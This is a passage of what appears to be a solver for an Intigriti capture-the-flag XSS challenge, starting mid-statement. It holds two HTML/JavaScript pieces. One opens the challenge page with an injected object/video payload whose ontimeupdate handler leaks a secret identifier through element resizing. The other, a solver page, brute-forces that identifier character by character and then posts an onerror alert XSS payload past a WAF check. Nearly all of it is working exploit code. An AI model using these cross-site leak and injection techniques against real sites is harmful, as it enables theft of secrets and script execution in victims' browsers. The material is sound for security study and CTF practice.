`https://challenge-0421.intigriti.io/?error=` +
encodeURIComponent(
`<object id=poc data=http://localhost:3000/solver.html width=101 height=101></object>
<video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4
ontimeupdate=window.opener.name<identifier?poc.height++:poc.width++>`
),
"_blank"
);
}
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="data:;base64,iVBORw0KGgo=" />
</head>
<body>
<script>
let lastHeight = 101;
let lastWidth = 101;
const chars = "0123456789abcdefghijklmnopqrstuvwxyz{".split("");
let solvedIdentifier = "";
let checks = 0;
let checksNeeded = 15;
function trySolve() {
try {
window.parent.postMessage(
{
type: "waf",
identifier: solvedIdentifier,
safe: true,
str: "<img src=x onerror=alert('flag{THIS_IS_THE_FLAG}')>",
},
"*"
);
} catch (e) {}
}
async function foundChar(char) {
console.log("FOUND CHAR: ", char);
solvedIdentifier = `${solvedIdentifier}${char}`;
console.log("TOTAL SOLVED", solvedIdentifier);
await window.parent.opener.opener.setIdentifier(`${solvedIdentifier}1`);
if (solvedIdentifier.length > 12) trySolve();
}
let locked = false;
setInterval(async () => {
const { innerHeight, innerWidth } = window;
if (innerHeight === lastHeight && innerWidth === lastWidth) {
return;
}
checks++;
if (checks < checksNeeded || checks % checksNeeded !== 0) {
return;
}
const currentIdentifier = window.parent.opener.opener.getIdentifier();
if (solvedIdentifier.length >= currentIdentifier.length) {
return;
}
const currentChar = currentIdentifier.substr(-1);
const targetedChar = chars[chars.indexOf(currentChar) - 1];
if (!targetedChar) return;
const nextChar = chars[chars.indexOf(currentChar) + 1];
console.log("currentIdentifier:", currentIdentifier);
console.log("currentChar:", currentChar);
console.log("targetedChar:", targetedChar);
console.log("nextChar:", nextChar);
if (innerWidth > lastWidth) {
setTimeout(() => (locked = false), 1000);
if (!locked) {
locked = true;
lastWidth = innerWidth + 100;
await foundChar(targetedChar);
}
return;
}
if (innerHeight > lastHeight) {
locked = false;
await window.parent.opener.opener.setIdentifier(
`${solvedIdentifier}${nextChar}`
);
lastWidth = innerWidth;
lastHeight = innerHeight;
}
}, 100);
</script>
</body>
</html>